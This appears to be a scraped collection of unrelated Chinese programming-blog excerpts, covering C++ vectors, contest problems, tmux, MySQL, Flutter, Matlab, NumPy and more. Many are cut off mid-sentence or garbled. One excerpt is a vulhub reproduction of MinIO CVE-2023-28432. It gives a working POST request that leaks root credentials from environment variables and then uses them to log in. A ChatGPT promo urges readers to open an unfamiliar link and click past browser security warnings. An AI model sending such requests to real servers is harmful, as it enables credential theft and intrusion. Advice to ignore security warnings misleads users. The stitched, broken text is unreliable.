【C++】-vector的具体使用(迭代器失效问题)

💖作者:小树苗渴望变成参天大树🎈 🎉作者宣言:认真写好每一篇博客💤 🎊作者gitee:gitee✨ 💞作者专栏:C语言,数据结构初阶,Linux,C++ 动态规划算法🎄 如 果 你 喜 欢 作 者 的 文 章 ,就 给 作 者 点 点 关 注 吧! 文章目录 前言一、文档介绍[vector](https://legacy.cplusplus.com/reference/vector/vector/?kw=vector)1.1vector的接口1.2vector构造器1.3vector遍历和修改数据操作1.4vector的空间增长问题1.5vector的插入和删除操作1.6vector的排序操作1.7vector的查找操作(迭代器失效) 二、总结 前言 今天我们开始讲解新的知识,关于vector的使用,这个容器使用起来非常的香,他可以做很多事情,也类似于一种数组的实现,但是他比数组更加的高级,让我们一起来看看vector是怎么使用的吧 一、文档介绍vector 对于vector我们目前可以简单理解为存放任意类型的可变数组。也可以像数组那些去使用,但是又被数组的用法多。 1.1vector的接口 想要学会vector的使用,我们需要熟悉它的接口,他能更好的运用它,接下来我就带大家来学习再常用的接口以及使用方法 通过文档我们发现vector实现了这些的接口,有些接口大家看到应该就东什么意思,因为我们刚刚学会string类,接口名都是一样的,我们想要使用一个容器,就必须先实例化出对象,就要先掌握它对应的构造器 1.2vector构造器 来看看这几种构造器的使用: //1.默认构造器 vector<int> v1; //2.初始化的值要符合定义的类型 vector<int> v2(4,100); //3.使用迭代器或者指针都行 string s; int a[4] = { 0 }; vector<int> v3(s.begin(), s.end()); vector<int> V3(a,a+4); //4.用另一个vector对象创建另一个 vector<int> v4(v3); 我们一共就这四种,再下篇的模拟实现中,我会带大家都实现一遍,让大家体会里面的原理 1.3vector遍历和修改数据操作 (1)iterator 我们迭代器的种类非常多,博主就介绍其中一种,其余的使用是类似的,这个迭代器的使用和前面string使用迭代器是一样的 vector<int> v2(4, 100); vector<int>::iterator it = v2.

2021 RoboCom 世界机器人开发者大赛-本科组(初赛)

编程题得分:100 总分:100 7-1 懂的都懂 (20分) 众所周知,在互联网上有很多话是不好直接说出来的,不过一些模糊的图片仍然能让网友看懂你在说什么。然而对这种言论依然一定要出重拳,所以请你实现一个简单的匹配算法。 现在我们采集了原图的一些特征数据,由 N 个小于 255 的非负整数组成,假设对于给定的若干张由 Mi​ 个同样小于 255 的非负整数组成的新图的特征数据,每个数据都可以由原图中任意四个不同数据的平均值计算而来,则称新图为原图的相似图片。对于给出的数据,请你判断是不是相似图片。 注意,不同数据指的并非是数据的值不同,而是不能取同一个数据多次。对于两个相同值的数据,如果给出两次,则可以取两次。 输入格式: 输入第一行是两个整数 N,K (1 ≤ N ≤ 50, 1 ≤ K ≤ 200),表示采集的原图的特征数据个数和新图的张数。 接下来一行为 N 个小于 255 的非负整数,表示原图的特征数据。 最后的 K 行,每行第一个数是 Mi​ (1 ≤ Mi​ ≤ 200),表示新图的特征数据个数。然后是 Mi​ 个小于 255 的非负整数,表示新图的特征数据。 输出格式: 对于每一张新图,如果为相似图片,则在一行中输出 Yes,否则输出 No。 输入样例: 5 3 4 8 12 20 40 3 11 16 19 3 12 16 19 10 11 11 11 11 11 11 11 11 11 11 输出样例: Yes No Yes 编译器

终端复用器——tmux实用教程

终端的弊端 在Linux中的黑框框,就是终端窗口(terminal window),用户在终端中输入命令行交互,这种交互被称为会话(session),会话所对应的进程是需要与终端窗口绑定的,当我们关掉一个终端时,进程也随之停止。也就造成了许多时候,自己电脑的原因或不小心关闭了SSH等远程终端而导致运行了许久的进程被关闭了。比如你要训练个模型,但需要个几天的时间,这期间你能保证你的SSH一直不断吗? 为了解决这个问题,会话与窗口可以"解绑":窗口关闭时,会话并不终止,而是继续运行,等到以后需要的时候,再让会话"绑定"其他窗口。Tmux 就是会话与窗口的"解绑"工具,将它们彻底分离。 Tmux的安装与使用 Tmux安装 直接使用在线安装的方式,输入下面的语句等待执行完成即可安装,不同的Linux版本语句不同,以Ubuntu为例: sudo apt-get install tmux Tmux的使用 新建窗口 开启tmux,终端中直接输入: tmux 会出现如下图的终端,就证明你当前的窗口已经是tmux伪窗口了 其中,数字10是你当前窗口的一个编号,编号是按照你建窗口的顺序来定的,对窗口的一系列操作都可以使用这个编号来进行。 可以在创建窗口的时候给窗口命名来便于区分任务 tmux new -s name 出现如下图的终端,可以看到其中的编号就变成了name 分离窗口 分类窗口的作用是让窗口变为普通终端,让先前的会话与进程继续后台执行。 tmux detach 查看窗口 tmux窗口被分离后,普通情况下你是看不到它的,可以通过ls命令来看到tmux窗口相关信息 tmux ls 重连窗口 当你的进程运行一定时间后,可以通过如下语句来重连到它运行的那个tmux伪窗口查看运行情况 tmux attact -t 窗口编号或你起的名字 此处若忘记了窗口编号或名字,可以通过上面的 tmux ls 命令来查看 切换会话 从当前终端窗口切换到另一个tmux窗口 tmux switch -t 窗口编号或你起的名字 窗口重命名 tmux rename-session -t 需要重命名的窗口编号或名字 新名字 结束会话 将会话结束掉时,可以使用这个命令 tmux kill-session -t 窗口编号或你起的名字

MinIO集群模式信息泄露漏洞(CVE-2023-28432)vulhub漏洞复现

MinIO是一个开源对象存储系统。在其RELEASE.2023-03-20T20-16-18Z版本(不含)以前,集群模式部署下存在一处信息泄露漏洞,攻击者可以通过发送一个POST数据包获取进程所有的环境变量,其中就包含账号密码MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD。 漏洞复现: cd minio cd CVE-2023-28432/ docker-compose up -d 访问http://your-ip:9001可以查看Web管理页面,访问http://your-ip:9000是API服务 漏洞存在于API节点http://your-ip:9000/minio/bootstrap/v1/verify上 启动burpsuite抓包。 发送如下数据包可查看泄露的环境变量: POST /minio/bootstrap/v1/verify HTTP/1.1 Host: 192.168.126.128:9000 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 0 利用泄露的MINIO_ROOT_USER 和MINIO_ROOT_PASSWORD 值登录系统

LIO-SAM学习与运行测试数据集

文章目录 0. 说明0.1 环境配置说明0.2 LIO-SAM0.3 系统架构0.4 LIO-SAM youtube视频演示:Rotation Dataset:Walking Dataset:Park Dataset:Campus Dataset:Amsterdam Dataset:stress test: 1. 编译与运行1.1 依赖1.2 gstam1.2 安装1.3 运行(1) launch文件:(2) 播放数据包: 2 lidar和imu数据准备2.1 准备lidar数据2.1.1 提供点云的时间戳2.1.2 提供点所在环号(point ring number) 2.2 准备imu数据(1)imu准备(2)imu对齐alignment(3)imu调试 3 样例数据集3.1 可使用默认设置运行的数据集(1)数据集(2)公园数据集 3.2 需要配置参数的数据集3.3 Ouster (OS1-128) 数据集--Rooftop dataset(1)数据集描述(2)准备工作(3)自己运行(4)自我体会 3.4 Livox Horizon数据集--Livox Horizon(1)说明:(2)配置(3)自己运行(4)自我体会 3.5 KITTI 数据集--2011_09_30_drive_0028(1)数据集描述(2)数据集外部参数修改(3)github参考建图效果(4)自己运行(5)自我体会 4 其他说明4.1 params.yaml 5. github 问题搬运5.1[ [lio_sam_mapOptmization-5] process has died](https://github.com/TixiaoShan/LIO-SAM/issues/191) 0. 说明 0.1 环境配置说明 环境配置: ubuntu18.04, ros1(ros-melodic) 注: 在ros1的kinetic, melodic, noetic(https://github.com/TixiaoShan/LIO-SAM/issues/206)上被测试过; ros1的github代码: https://github.

【华为OD统一考试B卷 | 200分】代表团坐车( C++ Java JavaScript python)

华为OD统一考试A卷+B卷 新题库说明 2023年5月份,华为官方已经将的 2022/0223Q(1/2/3/4)统一修改为OD统一考试(A卷)和OD统一考试(B卷)。 你收到的链接上面会标注A卷还是B卷。请注意:根据反馈,目前大部分收到的都是B卷。但是仍有概率抽到A卷。 A卷对应2023的新题库(2022Q4 20223Q1) B卷对应20022部分考题以及新出的题目 专栏:2023华为OD机试(A卷+B卷)(C++JavaJSPy) 题目描述:代表团坐车 某组织举行会议,来了多个代表团同时到达,接待处只有一辆汽车,可以同时接待多个代表团,为了提高车辆利用率,请帮接待员计算可以坐满车的接待方案,输出方案数量。 约束: 一个团只能上一辆车,并且代表团人数 (代表团数量小于30,每个代表团人数小于30)小于汽车容量(汽车容量小于100) 需要将车辆坐满 ———————————————— 版权声明:本文为CSDN博主「算法大师」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/banxia_frontend/article/details/131254628

单片机第二天总结(7-9)

今日总结: 1、学习了单片机数码管、模块化编程部分以及涉及到的C语言的内容。 2、完成了点亮小灯、流水灯部分的实操,实现小灯的点亮,通过二进制与十六进制之间的转换,并尝试通过不同的方式去完成目标任务,掌握了不同的表示小灯的编程方式。结合单片机原理图,更加深入理解了程序的运行方式。 3、学会了利用stc来设置延迟函数去进行按键消抖以及流水灯的程序,并且在运用十六进制与二进制间的转换更加熟练。

MySql 杂记 之OPTIMIZE TABLE操作

1:MySQL OPTIMIZE TABLE操作 MySQL官方建议不要经常(每小时或每天)进行碎片整理,一般根据实际情况,只需要每周或者每月整理一次即可,可以写成定时任务来做,这是因为3在OPTIMIZE TABLE运行过程中,MySQL会锁定表,其本质是将当前表复制到临时表操作后再删除当前表,最后将临时表改名;OPTIMIZE TABLE只对MyISAM,Archive,InnoDB,和NDB表起作用,尤其是MyISAM表的作用最为明显,对于MyISAM,Archive和NDB,OPTIMIZE TABLE被映射为analyze table xxx操作。此外,并不是所有表都需要进行碎片整理,一般只需要对包含上述可变长度的文本数据类型的表进行整理即可。另外,我们可以用mysqld --skip-new或者mysqld --safe-mode命令来重启MySQL以支持其他存储引擎,只不过这时候被映射为alter table xxx操作来实现;默认情况下,直接对InnoDB引擎的数据表使用OPTIMIZE TABLE,可能会显示「 Table does not support optimize, doing recreate + analyze instead」的提示信息,但这并不代表optimize不支持InnoDB引擎,只是因为optimize对InnoDB引擎的表操作时,是分成两步的: optimize对InnoDB引擎的表操作时无法作为a single operation,实际的操作是: 1:ALTER TABLE test ENGINE=InnoDB; 2:ANALYZE TABLE test; 注:MySQL5.7已经推荐对于InnoDB的table使用 alter table table_name engine=innodb;语句的方式来进行表碎片优化,也就是说其效果与OPTIMIZE TABLE test一样了。 注意:如果觉得OPTIMIZE TABLE操作锁表不好的话,可以借助工具pt-online-schema-change。 2:show table status like ‘test’\G; 这个操作用来查看表状态 mysql> show table status like 'test'\G; *************************** 1. row *************************** Name: test Engine: InnoDB Version: 10 Row_format: Compact Rows: 41709294 Avg_row_length: 428 Data_length: 17871028224 Max_data_length: 0 Index_length: 12445794304 Data_free: 20971520 #已分配但未使用的磁盘空间字节数。 Auto_increment: NULL Create_time: 2021-01-27 08:09:55 Update_time: NULL Check_time: NULL Collation: utf8_bin Checksum: NULL Create_options: partitioned Comment: 1 row in set (0.

7-2拼题A打卡奖励(25分)【01背包】【2021 RoboCom 世界机器人开发者大赛-本科组(复赛)】

7-2 拼题A打卡奖励(25分) 拼题 A 的教超搞打卡活动,指定了 N 张打卡卷,第 i 张打卡卷需要 mi​ 分钟做完,完成后可获得 ci​ 枚奖励的金币。活动规定每张打卡卷最多只能做一次,并且不允许提前交卷。活动总时长为 M 分钟。请你算出最多可以赢得多少枚金币? 输入格式: 输入首先在第一行中给出两个正整数 N(≤103) 和 M(≤365×24×60),分别对应打卡卷的数量和以“分钟”为单位的活动总时长(不超过一年)。随后一行给出 N 张打卡卷要花费的时间 mi​(≤600),最后一行给出 N 张打卡卷对应的奖励金币数量 ci​(≤30)。上述均为正整数,一行内的数字以空格分隔。 输出格式: 在一行中输出最多可以赢得的金币数量。 输入样例: 5 110 70 10 20 50 60 28 1 6 18 22 输出样例: 40 样例解释: 选择最后两张卷子,可以在 50+60=110 分钟内获得 18+22=40 枚金币。 编译器 NO_COMPILER 代码 #include <bits/stdc++.h> using namespace std; const int N = 1010, M = 30010; int n, m, v[N], w[N], dp[M]; //装到价值为i时,需要的背包的最小容量是dp[i] int main(){ cin >> n >> m; int sum = 0; //不用sum,替换为30000也能ac for(int i = 1; i <= n; i++) cin >> w[i]; //耗时 for(int i = 1; i <= n; i++) cin >> v[i], sum += v[i]; //金币 memset(dp, 127, sizeof dp);//用最大价值求最小容量,初始化成最大 dp[0] = 0; //边界,0价值用掉0容量 for(int i = 1; i <= n; i++) //先遍历物品 for(int j = sum; j >= v[i]; j --) //再遍历背包容量:背包容量是金额 dp[j] = min(dp[j], dp[j - v[i]] + w[i]); int i; for(i = sum; i >= 0; i--) if(dp[i] <= m) break; cout << i; return 0; } 编译器输出

系统吞吐量(TPS)、用户并发量、性能测试概念和公式

目录 PS:下面是性能测试的主要概念和计算公式,记录下: 一.系统吞度量要素: 二.系统吞吐量评估: 软件性能测试的基本概念和计算公式 一、软件性能的关注点 二、软件性能的几个主要术语 PS:下面是性能测试的主要概念和计算公式,记录下: 一.系统吞度量要素: 一个系统的吞度量(承压能力)与request对CPU的消耗、外部接口、IO等等紧密关联。 单个reqeust 对CPU消耗越高,外部系统接口、IO影响速度越慢,系统吞吐能力越低,反之越高。 系统吞吐量几个重要参数:QPS(TPS)、并发数、响应时间 QPS:每秒查询数 TPS:每秒事务数 HPS:每秒HTTP请求数 并发数: 系统同时处理的request/事务数 响应时间: 一般取平均响应时间 (很多人经常会把并发数和TPS理解混淆) 理解了上面三个要素的意义之后,就能推算出它们之间的关系: QPS(TPS)= 并发数/平均响应时间 一个系统吞吐量通常由QPS(TPS)、并发数两个因素决定,每套系统这两个值都有一个相对极限值,在应用场景访问压力下,只要某一项达到系统最高值,系统的吞吐量就上不去了,如果压力继续增大,系统的吞吐量反而会下降,原因是系统超负荷工作,上下文切换、内存等等其它消耗导致系统性能下降。 决定系统响应时间要素 我们做项目要排计划,可以多人同时并发做多项任务,也可以一个人或者多个人串行工作,始终会有一条关键路径,这条路径就是项目的工期。 系统一次调用的响应时间跟项目计划一样,也有一条关键路径,这个关键路径是就是系统影响时间; 关键路径是有CPU运算、IO、外部系统响应等等组成。 二.系统吞吐量评估: 我们在做系统设计的时候就需要考虑CPU运算、IO、外部系统响应因素造成的影响以及对系统性能的初步预估。 而通常境况下,我们面对需求,我们评估出来的出来QPS、并发数之外,还有另外一个维度:日PV。 通过观察系统的访问日志发现,在用户量很大的情况下,各个时间周期内的同一时间段的访问流量几乎一样。比如工作日的每天早上。只要能拿到日流量图和QPS我们就可以推算日流量。 通常的技术方法: 1. 找出系统的最高TPS和日PV,这两个要素有相对比较稳定的关系(除了放假、季节性因素影响之外) 2. 通过压力测试或者经验预估,得出最高TPS,然后跟进1的关系,计算出系统最高的日吞吐量。B2B中文和淘宝面对的客户群不一样,这两个客户群的网络行为不应用,他们之间的TPS和PV关系比例也不一样。 A)淘宝 淘宝流量图: 淘宝的TPS和PV之间的关系通常为 最高TPS:PV大约为 1 : 11*3600 (相当于按最高TPS访问11个小时,这个是商品详情的场景,不同的应用场景会有一些不同) B) B2B中文站 B2B的TPS和PV之间的关系不同的系统不同的应用场景比例变化比较大,粗略估计在1 : 8个小时左右的关系(09年对offerdetail的流量分析数据)。旺铺和offerdetail这两个比例相差很大,可能是因为爬虫暂的比例较高的原因导致。 在淘宝环境下,假设我们压力测试出的TPS为100,那么这个系统的日吞吐量=100*11*3600=396万 这个是在简单(单一url)的情况下,有些页面,一个页面有多个request,系统的实际吞吐量还要小。 无论有无思考时间(T_think),测试所得的TPS值和并发虚拟用户数(U_concurrent)、Loadrunner读取的交易响应时间(T_response)之间有以下关系(稳定运行情况下): TPS=U_concurrent / (T_response+T_think)。 并发数、QPS、平均响应时间三者之间关系 软件性能测试的基本概念和计算公式 一、软件性能的关注点 对一个软件做性能测试时需要关注那些性能呢? 我们想想在软件设计、部署、使用、维护中一共有哪些角色的参与,然后再考虑这些角色各自关注的性能点是什么,作为一个软件性能测试工程师,我们又该关注什么? 首先,开发软件的目的是为了让用户使用,我们先站在用户的角度分析一下,用户需要关注哪些性能。 对于用户来说,当点击一个按钮、链接或发出一条指令开始,到系统把结果已用户感知的形式展现出来为止,这个过程所消耗的时间是用户对这个软件性能的直观印象。也就是我们所说的响应时间,当相应时间较小时,用户体验是很好的,当然用户体验的响应时间包括个人主观因素和客观响应时间,在设计软件时,我们就需要考虑到如何更好地结合这两部分达到用户最佳的体验。如:用户在大数据量查询时,我们可以将先提取出来的数据展示给用户,在用户看的过程中继续进行数据检索,这时用户并不知道我们后台在做什么。 用户关注的是用户操作的相应时间。 其次,我们站在管理员的角度考虑需要关注的性能点。 1、 相应时间 2、 服务器资源使用情况是否合理

《深入浅出Dart》Flutter环境的安装与配置

点击在线阅读,体验更好链接现代JavaScript高级小册链接深入浅出Dart链接现代TypeScript高级小册链接 Flutter环境的安装与配置 在开发Flutter应用之前,我们首先需要安装和配置Flutter环境。在本文中,我们将分别介绍Windows,macOS和Linux下的安装和配置过程。首先,需要满足以下基本要求: 操作系统:Windows 7 SP1或更高版本,macOS 10.10或更高版本,或Linux(对各发行版没有特殊要求)磁盘空间:1.64 GB以上Git:确保您的操作系统上安装了Git。 安装Flutter SDK Windows 下载Flutter SDK的稳定版本。访问Flutter官方网站下载页面,选择适合的版本,通常是最新的稳定版本。 解压下载的文件。将文件解压到合适的目录中,例如:C:\src\flutter。 配置环境变量。打开控制面板,找到“系统”然后选择“高级系统设置” ,点击“环境变量”,然后在“系统变量”下找到Path,将Flutter目录下的flutter\bin添加进去。 macOS 下载Flutter SDK的稳定版本。访问Flutter官方网站下载页面,选择适合的版本。 解压下载的文件。将文件解压到合适的目录中,例如:~/development/flutter。 配置环境变量。打开终端,编辑.bash_profile文件或者.zshrc文件(取决于你使用的Shell),添加export PATH="$PATH:pwd/flutter/bin"。 Linux 下载Flutter SDK的稳定版本。访问Flutter官方网站下载页面,选择适合的版本。 解压下载的文件。将文件解压到合适的目录中,例如:~/development/flutter。 配置环境变量。打开终端,编辑~/.bashrc文件或者~/.zshrc文件,添加export PATH="$PATH:pwd/flutter/bin"。 安装Dart 虽然Flutter SDK已经包含了Dart SDK,但为了方便使用Dart命令行工具,我们也可以选择独立安装Dart SDK。访问Dart官方网站下载页面,选择适合的版本进行安装。 安装IDE Flutter支持多种IDE,包括IntelliJ IDEA,Android Studio,和VS Code。这里以VS Code为例进行说明: 下载并安装VS Code。访问VS Code官方网站下载页面,选择适合的版本进行安装。 安装Flutter插件。打开VS Code,点击左侧的Extensions按钮,搜索Flutter,点击Install。 验证安装 打开终端,运行flutter doctor命令,这个命令将会检查你的环境是否配置正确。 输出应该类似如下: Doctor summary (to see all details, run flutter doctor -v): [✓] Flutter (Channel stable, 2.2.0, on macOS 11.3 20E232 darwin-x64, locale en-US) [✓] Android toolchain - develop for Android devices (Android SDK version 30.

信号与系统课程实验报告: 连续信号及其傅里叶变换的编程

一、实验目的 认识并熟悉Matlab软件的使用,并能利用其进行编程利用Matlab实现连续信号的表示掌握数值法和符号法进行编程实现连续周期信号的傅里叶级数求解编程算法实现连续信号的傅里叶变换求解编程算法理解Matlab代码的具体意义并熟练使用利用Matlab对LTI系统的频率特性进行分析 二、实验内容 正弦信号的Matlab编程及波形表示方法抽样信号的Matlab编程及波形表示方法复指数信号的Matlab的编程及波形方法连续周期信号的傅立叶变换的编程及波形表示方法连续信号的傅里叶变换的编程及波形表示方法利用Matlab分析LTI系统的频率特性 三、实验原理 1.连续信号的MATLAB表示 自变量在整个连续区间内都有定义的信号,称为连续时间信号,简称连续信号。从严格意义上来讲,MATLAB数值计算的方法并不能处理连续信号。然而,可以利用连续信号在等时间间隔点的取样值来近似表示连续信号,即当取样时间间隔足够小时,这些离散样值能被MATLAB所处理,并且能够较好地近似表示连续信号。 2.Matlab提供了大量生成基本信号的函数 如: (1)指数信号:K*exp(a*t) (2)正弦信号:K*sin(w*t+phi)和K*cos(w*t+phi) (3)复指数信号:K*exp((a+i*b)*t) (4)抽样信号:sin(t*pi) (5)矩形脉冲信号:rectpuls(t,width) (6)周期矩形脉冲信号:square(t,DUTY),其中DUTY参数表示信号的占空比DUTY%,即在一个周期脉冲宽度(正值部分)与脉冲周期的比值。占空比默认为0.5。 (7)三角波脉冲信号:tripuls(t, width, skew),其中skew取值范围在-1~+1之间。 (8)周期三角波信号:sawtooth(t, width) 3.Matlab中提供了常用的图形控制函数 1)利用clc, dir(ls), help, clear, format, hold, clf控制命令的使用和M文件编辑/调试器使用操作; 2)主函数函数的创建和子程序的调用; 3)plot,subplot, grid on, figure, xlabel,ylabel,title,hold,title,Legend,绘图函数使用; axis([xmin,xmax,ymin,ymax]):图型显示区域控制函数,其中xmin为横轴的显示起点,xmax为横轴的显示终点,ymin为纵轴的显示起点,ymax为纵轴的显示终点。 有时,为了使图形具有可读性,需要在所绘制的图形中,加上一些网格线来反映信号的幅度大小。MATLAB中的grid on/grid off可以实现在你的图形中加网格线。 grid on:在图形中加网格线。 grid off:取消图形中的网格线。 function y = delta(t) dt = 0.01; y = (u(t)-u(t-dt))/dt; 产生单位阶跃信号的扩展函数为: % Unit step function function y = u(t) y = (t>=0); % y = 1 for t > 0, else y = 0

chartgpt

Chat GPT是一种基于人工智能技术的自然语言处理模型,它能够生成逼真的对话内容,使得与机器的交流更加流畅和自然。无论您是想与Chat GPT进行闲聊、寻求帮助,还是进行创作和创意思考,它都能为您提供准确、有趣的回答和建议。 Chat GPT的优势 Chat GPT相比于传统的聊天机器人有着许多优势: 自然流畅的对话体验:Chat GPT经过大量的训练,能够生成与人类对话相似的回答,使得交流更加自然流畅。 广泛的知识覆盖:Chat GPT通过学习大量的文本数据,拥有广泛的知识储备,能够回答各种问题,提供有用的信息和建议。 个性化定制:Chat GPT可以根据用户的需求进行个性化定制,使得对话更加贴合用户的喜好和需求。 ChatGPT可以用于许多不同的用途,包括但不限于: 对话代理:ChatGPT可以作为虚拟助手或智能对话代理来使用,它可以进行自然的对话,并提供详细的回答或建议。 内容生成:可以使用ChatGPT创建博客文章,书籍,富有创造力的写作等。它可以帮助写作者通过建议句子或段落来优化内容。 教学工具:在教育领域,ChatGPT可以用作辅导工具,为学生提供有关作业帮助和学术知识的解答。 研究合作伙伴:对于研究员,ChatGPT可以找出新的研究思路、建议潜在来源或解释复杂的科学概念。 语言学习辅助工具:因为其出色的语言理解和生成能力,它可以为正在学习新语言的人提供帮助。 互动娱乐:ChatGPT也可以用于娱乐,如角色扮演游戏、故事生成、闲聊等。 记住,尽管ChatGPT非常强大,但也有其局限性,包括生成的信息的准确性,理解复杂指令的能力,等等。 使用Chat GPT非常简单,只需按照以下步骤进行操作: 为了让您更好地体验Chat GPT的强大功能,我们为您提供了GPT4传送门。您可以点击https://gpt4test.com访问传送门(免墙,可直接测试,遇到浏览器警告点高级/继续访问即可)。 Chat GPT是一种强大的自然语言处理模型,能够为您提供自然流畅的对话体验,并为您的创作和思考提供有用的回答和建议。通过访问GPT4传送门,您可以尽情地与Chat GPT进行对话,体验其强大的智能能力。不要犹豫,立即点击传送门,开始与Chat GPT的智能对话吧!

Numpy对于NaN值的判断方法

转自:微点阅读 https://www.weidianyuedu.com 本文主要介绍了Numpy对于NaN值的判断方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧 numpy.nan的数据类型是float类型 1 2 import numpy as np type(np.nan) # float 任何数字和numpy.nan进行计算,返回的结果都是nan 1 2 3 4 5 import numpy as np print(np.nan + 1) # nan print(np.nan - 1) # nan print(np.nan * 1) # nan print(np.nan / 1) # nan 对空值NaN的判断不能直接使用==表达式,bool表达式,以及不可直接使用if语句判断 1 2 3 4 5 6 7 8 import numpy as np np.nan == np.nan # False bool(np.nan) # True # 输出结果:na is not null

【全面理解张雪峰老师专业选择】

十大推荐专业 十大专业,7个出自计算机学院,恭喜“信息管理与信息系统”专业上榜 看张老师的专业点评: 1 计算机专业的出口详解 其实,就从计算机专业的介绍来看,张老师对于这个行业了解的并不是深入,为什么这样说呢?你看他对法律的介绍。后期有N个出口,但是张老师对于35岁计算机从业人员,却只有一个解决方案就是你持续学习,技术过人(说白了就是你快速成长为项目骨干,技术架构师)这就是一般人的顶端了,当然还可以做小公司的技术总监。(但是这个比例就太少太少了) 这个卷上去的比例并不高,以平均10人的项目为例成长为项目骨干,项目经理还是牛马,100人大小的项目,你成为项目经理这个比例才有多高? 所以,这只是一个35岁出口。 那么另外的出口在那里? 大家就可以看我的首页了。 另一出口培训机构! 要求:有工作经验的本科 这是一个相当的从事出口,甚至有一些人出书,办机构,成立公司,大家自行百度各大培训机构创始人吧。 有人可能就怀疑了,人家医院,法律相关那么多的职业,你就一个培训机构就可以与之相比了?还是要看从业的数量,一个大城市有多少家医院?有多少个律师事务所,然后你再对比一个有多少培训机构,你就可以发现这确实是一个不小的就业面。 另二出口 职业高校(大专,职高类) 要求:硕士 这些校院为数不多,要求较高,一般为研究生,但是却是实实在在的一直可以干到60岁退休的职业。 另三出口高校(本科类)、 要求:博士 这一类的要求更高了,当然了,对学历的要求也更高了,一般是博士,或第一学历985,后面也是211的硕(少数) 对于学历越来越普遍的社会,有没有一个本科证就变成特别的重要!那么同样,具有一个本科资格的高校也就变得越来越多,越来越大,那么需要的教师也就自然会多。 2 金融类出口 确实如张老师所言,跟你啥学校,啥专业的关系并不大,看看十大富豪从来这一领域的都是人脉关系宽广,董事长是啥专业好象真的完全无影响。然后银行的公务员拉到多少单,跟他本身的专业也没有啥影响。中间的从业人员一般是本行业相关,经济分析师,金融机构其实也不少,也是只招985,强211的高校。 3 医护类出口 其实这个行业的卷不比计算机行业差。只是大家看不到,同样的,你不拿到能开药方的程度,还想越老越吃香?也一样是35岁就无奈离开。行业不会开你,但是工资,值班让你不得不离开。医师得到副主任医师,主任医师的时候,才是越老越吃香,现在的社会这个学历要求对应的就是博士。硕士都没戏。只是医护类,尤其是医一般都是读到博士了才出来工作,所以中间卷下去的大家接触不到了罢了。 很多人都拿医生跟程序员对比。 你看到的医生,年轻人几乎80%是博士了。而你看到的程序员90%是大专,本科,你怎么对比?如果你去高校(本科),那里的80%是博士。 然后你再对比一下,一边是医生,一边是大学老师,一边是副主任医师,一边是副教授,一边是主任医师,一边是正教授。那现在你还感觉计算机专业输么?而且,计算机专业还存在着更高的向上空间,长江学者,硕导,博士导师,院士。而在一个医院,是不太可能晋级后面这些可能的。 所以,不是医生越老越香,而是能读到博士,很多不香的行业都很香! 4 法学类出口 一句话,这个行业又吃名校又吃学历! 985,强211高校+ 博士,才有机会干得好。如果你达到这个高度确实是好从业的。(张老师是文类所以,感觉上这个行业的机会也不少,我是计算机专业,所以我接触到的这个专业的就都是优秀的,整理材料的,打杂的我也接触不着呀) 5 生化环材+农 出口 其实从现在的高中生的志愿而言,相当的不错,毕竟硕士就有很大的机会就可以从事很稳定的研究所里工作了。 天坑指的是学不出来的,学历攻不上去的。 但是,你说医,法,学不出来的,学历上不去的也能很容易润?金融除外,那是一个拼爹的行业,王校长读的就是哲学。 当大家感觉是天坑的时候,这些专业的研究生就好考,这些专业的本科也会降分,那么就是笋盘,就是低谷。 6 艺术设计类 这是相当大的一个类,从高考就跟别人分开了,专业课是素描,速写,色彩。也有名校,比如十大美院。不过,前段所说的毒教材这些个插图,确实是可以用AI来完成,效果比人工要好太多太多,也没有那种丑,洋元素。 我反而是建议,接受AI,利用AI。你才是顺势而为。 7 会计类出口 张老师再一次的说出了学历的重要性。本甚至专的怎么办? 综上: 金融(拼爹)除外, 只有计算机其实是接纳低学历的, 医,法,你看到的“润”都是名校,高学历 相反,四大天坑+农,还反而是稍稍降低了一些难度,硕就有机会,博士机会就更多了。 所以,你看到的舒服,其实都是因为学历的提高使得人群占比急速缩小而成的结果。 你看到的各大行业的那些个舒服的,甚至都不如计算机博士的一个出口,高校老师。原因就一点,人家需求量大,学校多,学校大! “北上广深”变为“上北深广”。15个“新一线”城市的席次也有一些改变,依次是成都、重庆、杭州、西安、武汉、苏州、郑州、南京、天津、长沙、东莞、宁波、佛山、合肥、青岛。 你自己计算机一下高校的数量,然后你再算一下这些城市里医院的数量,坐诊医生的数量。 法的方向你把这个律师事务所,法院,审判、检察、司法行政、律师、公安相关工作,法官、检察官,名字看上去多,但是数量真的太少太少了。然后你再考虑一下这个问题这些大学的法学的学生的比例,你还会感觉学法律方向从业容易么? 这样就你明白了什么叫进可攻,退可守。你看到的其它行业的舒服,只是因为你看到的都是幸存者。 推荐一下计算机专业的毕设项目参考: 毕设研究小组 - Gitee.com

关于C++版本z3库的使用心得

C++版本的z3库使用起来要比python要复杂一些,而且网上也没有python版本那么多的教程,自己使用了一段时间,逐渐上手,把自己使用过的一些网站和一些使用心得系统的记录一下: 一、使用学习Z3的一些常用网址: 1.官方给的C++z3示例: z3/examples/c++/example.cpp at master · Z3Prover/z3 · GitHub 2.z3的API大全: Z3: z3 Namespace Reference (z3prover.github.io) 3.一个比较全的z3示例网站: notes on `z3` `c++` bindings (utah.edu) 4.简易教程(有些不能用的在下面会说): (24条消息) SMT Z3 C++版本简易教程(以python版本为对照)_a1010451170的博客-CSDN博客 5.数组相关问题: c - C语言中的Z3数组不是python - IT工具网 (coder.work) Z3 Array in C language not python - Stack Overflow 6.chatgpt,多问,多试: https://chat.openai.com/chat 二、一些常用的技巧: 1.环境语句的位置: 如果要创建全局环境,直接在命名空间之后创建即可,如图: 2.二维数组的构建: 3.与或关系的写法: 不能直接简单地用&&或者||来实现与或关系,会报错,建议是用expr关键字写好,然后直接在求解器中添加最后的关键字,如图: 4.函数的输出(整型、浮点数类型): 我们在用求解器的时候,常常是封装在函数中使用,通常需要对求解器求得的模型值进行输出,在这其中,整型和浮点型的转化方法也略有不同,不能想python中一样直接粗暴的输出。下面是我写过的两个整型和浮点型的示例: (1)整型: (2)浮点型: 